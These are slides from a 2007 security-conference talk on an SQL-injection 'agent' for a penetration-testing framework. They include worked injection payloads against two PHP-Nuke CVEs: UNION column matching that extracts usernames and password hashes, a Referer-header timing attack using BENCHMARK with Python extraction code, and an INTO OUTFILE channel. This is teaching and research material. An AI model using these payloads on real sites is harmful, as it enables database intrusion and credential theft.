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Agent oriented SQL abuse Fernando Russ – Diego Tiscornia

PacSec · November 29-30, 2007 · Tokyo, Japan. Agent oriented SQL abuse Fernando Russ – Diego Tiscornia. Core Security Technologies 46 Farnsworth St Boston, MA 02210   Ph: (617) 399-6980 www.coresecurity.com. Objectives.

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Agent oriented SQL abuse Fernando Russ – Diego Tiscornia

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  1. PacSec · November 29-30, 2007 · Tokyo, Japan Agent oriented SQL abuseFernando Russ – Diego Tiscornia Core Security Technologies 46 Farnsworth StBoston, MA 02210  Ph: (617) 399-6980 www.coresecurity.com

  2. Objectives • Describe our implementation of a SQL Agent for our Penetration Testing framework • Present some live examples

  3. Outline • SQL Injection vs. Binary Vulnerabilities • SQL injection Agent • Structured SQL representation • SQL Translator • Encoder • Channels • Live Demo!

  4. Our First Agent... • Syscall Proxying • Each call to an OS system call (syscall) is proxied from the client in the local system to the remote host • The remote host has a payload or server deployed that executes them

  5. Syscall Proxying The Syscall Server (or Agent): • Receives the request • De-marshals the request to obtain the syscall’s context • Executes the syscall • Sends the result back to the client The Syscall Client: • Marshals each syscall’s arguments • Generates a request for the server • Sends the request

  6. The acquired server is used as vantage pointto penetrate the corporate net Base camp A target server is attacked and compromised Firewall era attack (1990-2001)

  7. SQL Injection vs. Binary Vulnerabilities • Binary • Permits the installation of a payload in an application context • The execution of this payload permits tasks like • Obtaining a shell • Use the compromised application to “proxy” connections to other host (pivoting) • Leverage access to higher privileges in the host • SQL Injection • Permits the execution of SQL expressions in a DB engine through a vulnerable webapp

  8. SQL Injection Exploits A Vulnerability Description: • Describes how to transform a SQL expression into a HTTP request, or attack string • Describes how to retrieve the result An Exploit: • No longer installs a payload • Uses the vulnerability description to form an attack string: http://vulnerable_svr/modules.php?name=Web_Links&l_op=viewlink&cid=2+UNION+SELECT+null%2Cpwd%2Cnull+FROM+authors%2F%2A • Conceptually, it is composed by two parts: • Encoding: How to translate SQL into a satisfactory HTTP request • Channel: How to retrieve information from the attack string’s response

  9. SQL injection Agent • An Agent no longer is a payload • Translates a user SQL expression into an abstract representation and extracts semantic information • Uses the vulnerability description and the semantic information to form the attack string • Uses the attack string and the channel to form the HTTP attack request • It maintains necessary HTTP state • Cookies • Session Management

  10. Sequence Diagram

  11. Agents • An agent is a façade(*)object, providing a unified higher-level interface to a set of primitives • It exposes primitives as building-blocks for computer attacks • FileSystemAgent • open, close, write, read, unlink • SQLAgent • exposes SQL query interface, semi DB engine independent • XSSAgent • exposes a JS API • Hides the complexity of obtaining a result from a given primitive by means of a vulnerability (*) Façade Pattern: Provide a unified interface to a set of interfaces in a subsystem. Facade defines a higher-level interface that makes the subsystem easier to use

  12. Agent parts Agents are composed by layers: • Backend • Translate a given primitive in order to execute it • Processes a given primitive and returns the result • Channel • Is how the agent sends / receives information, be it control o effective • Any action with a measurable response • cover-channels • network protocols • Can be synchronic / asynchronic • Client • Presented using Python (or any other high level language) • Tools / exploits are written in Python

  13. SQL Agent parts • Client & Backend • Python based API • SQL Translator • Converts a SQL expression into an abstract SQL representation • Encoder • Encodes an abstract SQL tree into an attack string • Channel • How the agent retrieves information • The response of an HTTP request • Cover-channels • Timing

  14. SQL injection agent • Sample: executing a SQL statement agent = SQLAgent(aVulnerability) broker = agent.query(””” SELECT card_expiration, card_holder, card_number FROM cardstore WHERE card_number LIKE ’4540%’”””) for rows in broker.extractData(): print rows[”card_holder”], rows[”card_number”], rows[”card_expiration”] A query… SELECT card_expiration, card_holder, card_number FROM cardstore WHERE card_number LIKE’4540%’ …using the SQL Agent

  15. Sequence Diagram

  16. SQL Agent overview • Client & Backend • Python based API • SQL Translator • Converts a SQL expression into an abstract SQL representation • Encoder • Encodes an abstract SQL tree into an attack string • Channel • How the agent retrieves information • The response of an HTTP request • Cover-channels • Timing

  17. Structured SQL representation We needed to represent a SQL statement so that: • The encoding and data extraction phases where possible • The representation could be adapted to be executed by a SQL Injection • The adapted query had to be as DB-engine-independent as possible • We needed semantic information for the encoding • The representation could be rewritten to a particular DB-engine syntax http://vulnerable.com/vuln.php?field=‘SELECT+customerId,customerName+FROM+customers--

  18. SQL Translator Prepares a custom SQL expression to be encoded into an attack string • Converts a SQL expression into an abstract tree representation • Retrieves semantic information in the process • Works similarly as a DB SQL parser • Represents a SQL statement as an ADG (acyclic directed graph) / Tree • Exposes a Visitor(*) API • Writes the tree back to the target SQL DB platform • Uses the AbstractWriter(*) pattern • Every writer subclass adapts the query to a different platform: • MyQSLWriter • MSSQLWriter • GenericWriter (*) Visitor Pattern: Represent an operation to be performed on the elements of an object structure. Visitor lets you define a new operation without changing the classes of the elements on which it operates (*) AbstractWriter: is an abstract class that actually does the work of writing out the element tree including the attributes

  19. Translation sample query = SQL.Parse("SELECT name+id{int}FROM customer") mysql_writer = MySQLWriter() data = mysql_writer.write( query ) print "to MySQL:", data # SELECTCONCAT(name,CAST(id ASCHAR)) FROM customer mssql_writer = MsSQLWriter() data = mssql_writer.write( query ) print "to MsSQL:", data # SELECT name+CONVERT(id,NVARCHAR) FROM customer

  20. Encoder Encodes the abstract SQL representation into an attack string • Uses the vulnerability description and the semantic information from the SQL Translator to form the attack string • It provides an exploit with an API with the funcionality to: • Adapt a SQL Expression to the limitations of a given vulnerabity • Apply paricular encodings: • XOR, Base64, Urlencode • Permits the modification of the final result of a SQL Expression • Two stages: • Syntax Translation • Takes a SQL Expression as input • Adapts the SQL Expression to the target DB engine syntax • Returns another SQL Expression SQL Expression SQL Expression • Attack Rendering • Takes a SQL Expression as input • Returns an attack string SQL Expression string

  21. Encoding sample Syntax aware avoidance of some characters ' CHR(30 - 1 + 7 + 3) Where "30-1+7+3" is a random math expression equal to the ascii value of ' • Simple transformation for a given exploit class SomeSampleVulnerability: #... def syntaxTranslation(self, aSQLExpression): # escape quotes escaped_expression = utils.escapeQuotes( aSQLExpression ) # translate the SQL Expression to the final syntax specific_syntax = SomeSampleVulnerability.syntaxTranslation( self, escaped_expression) return specific_syntax #... def attackRendering(self, aSQLExpression): # do the attack rendering for this vulnerability attack_string = SomeSampleVulnerability.attackRendering( self, aSQLExpression) # obtain a url-quoted attack string quoted_attack_string = urllib.quote( attack_string ) return quoted_attack_string

  22. Channels A SQL channel is the technique or the means to retrieve information obtained by the exploitation • Generally based on generating an HTTP “chat” (Request & Response) • What can be used as a channel? Any action that generates a measurable response • HTTP Request • Column matching • Covert channels • Timing • Alternative channels • Indirect-write • Emails

  23. Channels - Visibility Indicates how the result of an expression affects the response of a vulnerable request • Direct: the result or errors of an expression affect the response’s content • Verbose error elicitation: error messages produced by a failed injection are included in the response • Inband data retrieval: the result of a successful injection are included in the response • Indirect: the result or errors of an expression do NOT affect the response’s content, but are measurable (timing, side-effect, covert channels, etc) • Blind error elicitation: error messages produced by a failed injection are not included in the response • Outband data channel: the result of a successful injection are obtained by means alternative to the response

  24. Column matching PHP-Nuke 7.7 PHP-Nuke "query" SQL Injection Vulnerability(CVE-2005-3792) • Author: sp3x • The query parameters isn’t properly sanitized in modules/search/index.php • Multiple vulnerable SQL queries are affected • It’s trivial exploit this vulnerability, its result set is visible One of the vulnerable SQL queries: SELECT tid, sid, subject, date, name FROM nuke_comments WHERE (subject LIKE '%$query%' OR comment LIKE '%$query%') ORDER BY date DESC LIMIT $min,$offset

  25. Column matching • Manipulating the query parameter, we can modify the final SQL expression to be run SELECT tid, sid, subject, date, name FROM nuke_comments WHERE (subject LIKE '%$query%' OR comment LIKE '%$query%') ORDER BY date DESC LIMIT $min,$offset

  26. Column matching • Start building an attack string… ...&query = xx’ AND ‘x’=‘ SELECT tid, sid, subject, date, name FROM nuke_comments WHERE (subject LIKE '%$query%' OR comment LIKE '%$query%') ORDER BY date DESC LIMIT $min,$offset SELECT tid, sid, subject, date, name FROM nuke_comments WHERE (subject LIKE ‘%xx’AND ‘x’=‘%’OR comment LIKE '%xx’ AND ‘x’=‘%’)ORDER BY date DESC LIMIT 0,10 Fits in the syntax of the original query andbecomes always empty the result set

  27. Column matching • Simplifying the exploited query… ...&query = xx’ AND 1=0)/* • The previous expression was also simplified to be AND 1=0 SELECT tid, sid, subject, date, name FROM nuke_comments WHERE (subject LIKE ‘%xx’AND1=0)/*%’OR comment LIKE '%xx’ AND 1=0)/*)%’ ORDER BY date DESC LIMIT 0,10 “/*” Comments until the end of the SQL expression, nullifying the side effect of replacing $query.

  28. Column matching • Inserting our query ...&query = xx’ AND 1=0) UNION ALL SELECT 1,2,’3’,4,’5’ /* Here we inserts our query, using an UNION ALL SELECT tid, sid, subject, date, name FROM nuke_comments WHERE (subject LIKE ‘%xx’AND1=0) UNION ALL SELECT 1,2,’3’,4,’5’/* %‘ OR comment LIKE '%xx’ AND 1=0) UNION ALL SELECT 1,2,’3’,4,’5’/* %‘) ORDER BY date DESC LIMIT 0,10

  29. Column matching • Inserting our query ...&query = xx’ AND 1=0) UNION ALL SELECT 1,2,’3’,4,’5’ /* Here we inserts our query, using an UNION ALL SELECT tid, sid, subject, date, name FROM nuke_comments WHERE (subject LIKE ‘%xx’AND1=0) UNION ALL SELECT 1,2,’3’,4,’5’/* %‘ OR comment LIKE '%xx’ AND 1=0) UNION ALL SELECT 1,2,’3’,4,’5’/* %‘) ORDER BY date DESC LIMIT 0,10 Timing Attacks • Our query must complain the following restriction (!) The injected selectmust complain the “schema” of the original select statement. SELECT tid, sid, subject, date, name FROM nuke_comments WHERE (subject LIKE ‘%xx’ AND 1=0) UNION SELECT 1,2,’3’,4,’5’/*%' OR comment LIKE '%xx’ AND 1=0) UNION SELECT 1,2,’3’,4’,’6’/*%') ORDER BY date DESC LIMIT 0,10

  30. Column matching • Review of the attack string parts Completes the original expression and becomes always empty the previous result set Piggyback our trivial query to previous result set using UNION ALL with some restrictions SELECT tid, sid, subject, date, name FROM nuke_comments WHERE (subject LIKE ‘%xx’AND1=0) UNION ALL SELECT 1,2,’3’,4,’5’ /*%’OR comment LIKE '%xx’ AND 1=0) UNION ALL SELECT 1,2,’3’,4,’5’/*%’) ORDER BY date DESC LIMIT 0,10 Comments until the end of the expression

  31. Column matching • Executing arbitrary SQL queries • Suppose to execute the following SQL query through the previous vulnerability SELECT username, user_password, last_ip FROM nuke_users • The SQL Channel adapts the query to fits the original schema

  32. Column matching • Executing arbitrary SQL queries • Suppose to execute the following SQL query through the previous vulnerability SELECT username, user_password, last_ip FROM nuke_users • The SQL Channel adapts the query to fits the original schema SELECT username, user_password, last_ip … Maps the field based on the data type SELECT tid, sid, subject, date, name … SELECT 42, 42, username, 42, CONCAT_WS(‘#’,user_password,last_ip)

  33. Column matching • Executing arbitrary SQL queries • Suppose to execute the following SQL query through the previous vulnerability SELECT username, user_password, last_ip FROM nuke_users • The SQL Channel adapts the query to fits the original schema SELECT username, user_password, last_ip … Joins two fields in one with the correct data type Maps the field based on the data type SELECT tid, sid, subject, date, name … SELECT 42, 42, username, 42, CONCAT_WS(‘#’,user_password,last_ip)

  34. Column matching • Executing arbitrary SQL queries • Suppose to execute the following SQL query through the previous vulnerability SELECT username, user_password, last_ip FROM nuke_users • The SQL Channel adapts the query to fits the original schema SELECT username, user_password, last_ip … Joins two fields in one with the correct data type Maps the field based on the data type SELECT tid, sid, subject, date, name … Add Dummy values for unused fields SELECT 42, 42, username, 42, CONCAT_WS(‘#’,user_password,last_ip)

  35. Column matching • The final query… SELECT tid, sid, subject, date, name FROM nuke_comments WHERE (subject LIKE ‘%xx’AND1=0) UNION ALL SELECT 42, 42,username, 42, CONCAT_WS(‘#’,user_password, last_ip)/*%’OR comment LIKE '%xx’ AND 1=0) UNION ALL SELECT 42, 42, username, 42, CONCAT_WS(‘#’,user_password, last_ip)/*%’) ORDER BY date DESC LIMIT 0,10 Our injection looks like • The final attack string… ?type=comment&query='SELECT%20tid%2C%20sid%2C%20subject%2C%20date%2C%20name%20FROM%20nuke_comments%20WHERE%20%28subject%20LIKE%20%91%25xx%92%20AND%201%3D0%29%20UNION%20ALL%20SELECT%2042%2C%2042%2Cusername%2C%2042%2C%20CONCAT_WS%28%91%23%92%2Cuser_password%2C%20last_ip%29/%2A%25%92%20OR%20comment%20LIKE%20%27%25xx%92%20AND%201%3D0%29%20UNION%20ALL%20SELECT%20%2042%2C%2042%2C%20username%2C%2042%2C%20CONCAT_WS%28%91%23%92%2Cuser_password%2C%20last_ip%29/%2A%25%92%29%20ORDER%20BY%20date%20DESC%20LIMIT%200%2C10‘

  36. DEMO

  37. Column matching - Summary • The most common data extraction method • Pros: • Simple (…the most simple way, I think) • Best case scenario • No overhead • No signaling info necessary • It is possible to retrieve “wider” results-sets than the fields visible in the attack response • But this has overhead, and signaling information is necessary • Acceptable bandwidth • Cons: • The schema of the vulnerable query must have "compatible“ types with the expected result-set • It is possible that the final result-set is limited by the rows being showed

  38. Timing Attacks PHP-Nuke <= 8 PHP-Nuke ”HTTP Referer" SQL Injection Vulnerability(CVE-2007-1061) • Author: Maciej "krasza" Kukla • The Referer HTTP header isn’t properly sanitized in html/index.php (and others) • Multiple vulnerable SQL queries are affected • It’s trivial exploit this vulnerability, it’s a trivial blind INSERT injection One of the vulnerable SQL queries: INSERT INTO nuke_referer VALUES (NULL, '$referer')

  39. Timing Attacks • Manipulating the Referer HTTP Header, we can modify the final SQL expression to be run INSERT INTO nuke_referer VALUES (NULL, '$referer')

  40. Timing Attacks • Extending the query: ... Referer: xx'), (NULL, 'x … • Extends the query to perform to insertion: INSERT INTO nuke_referer VALUES (NULL,'xx'), (NULL, 'x') • Fits the original query syntax and inserts two results in the database

  41. Timing Attacks • Executing subqueries: ... Referer: xx'), (NULL, (SELECT '42'))/* … Envelops the subquery as a second insertion • … injection parts: INSERT INTO nuke_referer VALUES (NULL,'xx'),(NULL,(SELECT '42' ))/*’)

  42. Timing Attacks • Executing subqueries: ... Referer: xx'), (NULL, (SELECT '42'))/* … Envelops the subquery as a second insertion • … injection parts: INSERT INTO nuke_referer VALUES (NULL,'xx'),(NULL,(SELECT '42' ))/*’) Comment the trailer query string

  43. Timing Attacks • Executing subqueries: ... Referer: xx'), (NULL, (SELECT '42'))/* … Envelops the subquery as a second insertion • … injection parts: INSERT INTO nuke_referer VALUES (NULL,'xx'),(NULL,(SELECT '42' ))/*’) The results of the subquery is not visible, and must have only one result (!) Comment the trailer query string

  44. Timing Attacks • Timing primitives (for MySQL): ... Referer: xx'), (NULL,(SELECT IF(…,BENCHMARK(…, …),1))/* … Here we insert a expression to be repeated as delay, for example, md5(“pacsec”) • Dissecting the timming primitive: • IF( %condition%, BENCHMARK( … , %expression%), 1 )

  45. Timing Attacks • Timing primitives (for MySQL): ... Referer: xx'), (NULL,(SELECT IF(…,BENCHMARK(…, …),1))/* … Here we insert a expression to be repeated as delay, for example, md5(“pacsec”) • Dissecting the timming primitive: • IF( %condition%, BENCHMARK( … , %expression%), 1 ) This condition must be true to perform the delay, for example: LOCATE(MID(%s,%d,1),%s)= 0

  46. Timing Attacks • Timing primitives (for MySQL): ... Referer: xx'), (NULL,(SELECT IF(…,BENCHMARK(…, …),1))/* … Here we insert a expression to be repeated as delay, for example, md5(“pacsec”) • Dissecting the timming primitive: • IF( %condition%, BENCHMARK( … , %expression%), 1 ) This condition must be true to perform the delay, for example: LOCATE(MID(%s,%d,1),%s)= 0 • A possible timing primitive could be: • IF(LOCATE(MID(%s,%d,1),%s)= 0,BENCHMARK(250000,MD5(‘pacsec')),1)"

  47. Timing • Covert Channel • Method: • Insert delays in the processing of a vulnerable query to extract at least a bit • Request calibration • Binary search • Result validation def timingGetField(self, field, linenum): self.calibrate(field, linenum) ans = '' while 1: char = self.getKey(field, index, linenum) str = ans + char if self.verifyEnd(field, str, index, linenum): return 1, ans ans = self.verifyKey(field, str, index, linenum) "if(locate(mid(%s,%d,1),%s)= 0,benchmark(250000,md5(‘r00t')),1)" % (field, index, str) “if(mid(%s,1,%d)!=%s,benchmark(250000,md5(‘r00t')),1)" % (field, len(str), str)

  48. Timing • Pros: • If you can execute it, and noise permits, you get your data • Cons: • Noise due external factors (network latency, …) • Very low-bandwidth • False positives (could be mitigated…) • Uses vendor dependent features (not always available) • Optimizations: • Multi-bit extraction • self-checked extraction • Alphabetic encoding over time • Predictive pattern algorithms (!) • T9 / iTap • Treats • Parallelism (!)

  49. Alternative channels Based on proprietary/bizarre DB Engine features • Emails / HTTP request • We love enterprise reporting services :) • File writes • Writing files for later read MySQL: SELECT * INTO ‘/var/www/crapy-site/ja’ FROM users Later… requesting: http://crapy-site/ja • And many more! Use this file as “channel”

  50. Most bizarre channel ever...?

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